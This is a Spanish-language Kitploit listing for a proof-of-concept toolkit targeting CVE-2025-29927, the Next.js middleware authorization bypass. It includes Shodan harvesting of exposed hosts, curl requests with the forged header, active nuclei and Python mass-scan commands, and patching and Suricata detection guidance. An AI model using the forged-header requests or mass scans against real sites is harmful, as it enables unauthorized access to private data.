Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-29927 — Kit de herramientas de prueba de concepto y escaneo masivo para CVE-2025-29927, una omisión de autorización de middleware de Next.js mediante el encabezado forjado x-middleware-subrequest. Incluye plantillas de nuclei y escáner Python. | Kitploit
Herramientas/GitHubGitHub/sdrtba/cve-2025-29927
Autenticación y AutorizaciónAnálisis de VulnerabilidadesEvasión de IDS/IPSExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubsdrtba/cve-2025-29927

CVE-2025-29927

Kit de herramientas de prueba de concepto y escaneo masivo para CVE-2025-29927, una omisión de autorización de middleware de Next.js mediante el encabezado forjado x-middleware-subrequest. Incluye plantillas de nuclei y escáner Python.

Ver Repositorio
3hace 11 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-29927 — Next.js (bypass de autorización en middleware)

Brevemente: vulnerabilidad en el middleware de Next.js que permite eludir las comprobaciones de autorización mediante la falsificación del encabezado x-middleware-subrequest.


Contenido

  • CVE-2025-29927 — Next.js (bypass de autorización en middleware)
    • Contenido
    • Recopilación de hosts vulnerables
    • Más información
    • Descripción breve
    • Detalles de la vulnerabilidad
    • CWE Weakness Enumeration
    • Impacto y riesgos adicionales
    • Versiones afectadas
    • CVSS y métricas
    • PoC — reproducción segura en local
    • Verificación masiva (nuclei, Python)
      • Nuclei
      • Escáner en Python (arquitectura)
    • Mitigación / Remediación
    • Detección / reglas SIEM / IDS
    • Detección y verificación masiva (Scanning & Detection)
    • Recursos y enlaces

Recopilación de hosts vulnerables

Realicé una búsqueda en Shodan con el filtro http.headers:"x-middleware-rewrite" y obtuve una lista de 1000 dominios.

var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();

var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();


Más información

  1. Contexto y antecedentes En las primeras versiones de Next.js, el middleware podía realizar solicitudes internas (sub-solicitudes) a la propia aplicación. Para evitar la recursión, el framework introducía encabezados HTTP de servicio (marcadores internos) que indicaban «esta solicitud ya ha sido procesada». Este enfoque era práctico y permitía evitar bucles infinitos dentro del pipeline del middleware.

  2. Evolución del middleware y cargas útiles (payloads) Hasta Next.js 12.2, el middleware se ubicaba como _middleware dentro de pages/ y podía estar anidado (pages/_middleware, pages/dashboard/_middleware, etc.). El payload podía indicar una ruta concreta (x-middleware-subrequest: pages/dashboard/_middleware). Desde Next.js 12.2, el middleware pasó a denominarse middleware.js/ts y dejó de residir en pages/. En este caso, el payload simple x-middleware-subrequest: middleware (o src/middleware cuando se usa src/) solía funcionar. Las versiones posteriores (≥ 13.2.0) introdujeron comprobaciones adicionales, incluido MAX_RECURSION_DEPTH; en algunos bypass se usaban valores repetidos del tipo middleware:middleware:... para simular una cadena anidada. En la práctica: el formato exacto del payload depende de la versión de Next.js y de la estructura del proyecto.

  3. Historial de la corrección y el problema con x-middleware-subrequest-id El parche rápido inicial incluía la idea de un identificador interno —x-middleware-subrequest-id— que se generaba y verificaba en tiempo de ejecución para distinguir las sub-solicitudes internas válidas de las falsificaciones. Sin embargo, la implementación mostró un efecto secundario: este ID interno podía filtrarse hacia el exterior (llegando a las solicitudes fetch/salientes), lo que creaba un nuevo riesgo. Además, la firma/sincronización de los identificadores resultó poco fiable en entornos con múltiples CDN/PoP y runtimes mixtos (Edge vs Node). Como resultado, el código con x-middleware-subrequest-id fue eliminado/reelaborado; la solución final es una combinación de parches en Next.js y mitigaciones de plataforma (filtrado de los encabezados internos entrantes a nivel de ingress/edge).


Descripción breve

  • CVE: CVE-2025-29927
  • Producto: Next.js (Vercel)
  • Brevemente: el middleware que implementa la autorización confía incorrectamente en el indicador interno x-middleware-subrequest. Un cliente externo puede establecer este encabezado y eludir las comprobaciones de acceso.
  • Fecha de publicación NVD: 21 de marzo de 2025.
  • CNA: GitHub, Inc.

Detalles de la vulnerabilidad

  • Descripción: El error consiste en que el middleware de Next.js se basa en el indicador interno x-middleware-subrequest al tomar la decisión de acceso. El campo estaba pensado originalmente para operaciones internas del framework, pero las solicitudes externas pueden establecer este encabezado, lo que permite eludir la autorización.
  • Causa de la vulnerabilidad: lógica de autorización incorrecta/insegura: confianza en el encabezado entrante.
  • Condiciones de explotación: la aplicación web utiliza únicamente el middleware para la autorización; la aplicación utiliza versiones vulnerables de Next.js.

CWE Weakness Enumeration

  • CWE-863: Incorrect Authorization — primary
    • Evidence: el middleware confiaba en el encabezado 'x-middleware-subrequest' y dejaba pasar las solicitudes sin validación adicional.
  • CWE-285: Improper Authorization — secondary
    • Evidence: ausencia de una autenticación/autorización fiable para el flujo interno (internal-only flow).

Impacto y riesgos adicionales

  • Impacto: la elusión de la autorización da acceso a páginas/datos privados, posibilidad de escalada (según la aplicación) y compromiso de los datos de los usuarios.
  • Riesgo adicional: CPDoS (Cache-Poisoned DoS): la vulnerabilidad puede permitir manipular la caché del CDN/edge (por ejemplo, si las sub-solicitudes internas marcan los recursos como privados/públicos), lo que provoca el envenenamiento de la caché y una posible denegación de servicio o divulgación de datos.
  • Ejemplos de consecuencias: fuga de PII, elusión de la lógica de negocio, sesiones comprometidas, interferencia en el enrutado de la aplicación.

Versiones afectadas

Son vulnerables los siguientes rangos de versiones:

  • >= 11.1.4 y < 12.3.5
  • >= 13.0.0 y < 13.5.9
  • >= 14.0.0 y < 14.2.25
  • >= 15.0.0 y < 15.2.3

CVSS y métricas

  • Base Score: 9.1 (CRITICAL)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • Temporal: E:P (PoC) * RL:O (official fix) * RC:C (confirmed) = 8.2 (Temporal Score aproximado).

PoC — reproducción segura en local

  1. Levantar la demo vulnerable:
root@kitploit:~
git clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
  1. PoC simple de solo lectura (curl):
root@kitploit:~
# без заголовка — ожидаем отказ (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20

# с поддельным заголовком — если уязвимо, вернёт 200 + тело
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20

Verificación masiva (nuclei, Python)

Nuclei

  • Passive template: verificación de fingerprint (/_next/static/, package.json, headers, favicon hash) — modo seguro.
  • Active template: envía un GET con x-middleware-subrequest y compara la respuesta. Es obligatorio usar rate-limit y throttle.

Comando para ejecutar (ejemplo):

root@kitploit:~
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt

# active (контролируемо)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20

Escáner en Python (arquitectura)

  • Algoritmo: para cada host, obtener la respuesta base (sin encabezado) → repetir con el encabezado x-middleware-subrequest → comparar el estado y el cuerpo.
  • Opciones obligatorias: --concurrency, --delay, --dry-run, --respect-robots.
  • Usa aiohttp / asyncio para lograr un alto rendimiento.

Pseudocódigo breve:

root@kitploit:~
async def probe(url):
    r1 = await session.get(url)
    r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
    if significant_difference(r1, r2):
        report_vulnerable(url)

Mitigación / Remediación

  1. Principal: actualizar Next.js a una versión corregida:
    • >= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3.
  2. Solución rápida (edge/proxy): eliminar/limpiar el encabezado x-middleware-subrequest en el borde:
  3. Cambios en la aplicación: eliminar la dependencia de la autorización de los encabezados entrantes; basarse en JWT/tokens de sesión/validación en el servidor.
  4. Detección: añadir registro y una regla en SIEM/IDS: alertar ante solicitudes externas con x-middleware-subrequest y verificar el origen.

Detección / reglas SIEM / IDS

Ejemplos de reglas/alertas:

  • SIEM: alertar ante solicitudes entrantes con x-middleware-subrequest si source.ip no está en trusted_proxies.

  • Suricata (pseudo):

root@kitploit:~
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)

Detección y verificación masiva (Scanning & Detection)

  • Passive (nuclei / fingerprint): usa la plantilla de nuclei de projectdiscovery/nuclei-templates para CVE-2025-29927 (verificación por fingerprint: /_next/static/, package.json, headers, favicon hash). Sin explotación: seguro.
  • Active (nuclei): plantilla cautelosa que envía un GET con el encabezado x-middleware-subrequest y comprueba la diferencia en la respuesta (body/status). Throttle y rate-limit son obligatorios.
  • Script de Python/Go (multithreaded):
    • estrategia: para cada host → obtener baseline sin encabezado → repetir con el encabezado → comparar.
    • safety: opciones de delay, per-host cooldown, --dry-run y --respect-robots.
  • Regla SIEM/IDS (ejemplo):
root@kitploit:~
alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies

Recursos y enlaces

  • NVD / CVE-2025-29927 (NVD entry) — para versiones y CVSS;
  • GitHub Advisory / Vercel advisory — para parches;
  • Repositorios PoC (sustituir por las URL reales):
    • https://github.com/<author>/CVE-2025-29927-POC
    • https://github.com/<author>/vulnerable-nextjs-demo
  • ProjectDiscovery / nuclei-templates — plantilla para CVE-2025-29927.
Descargar herramienta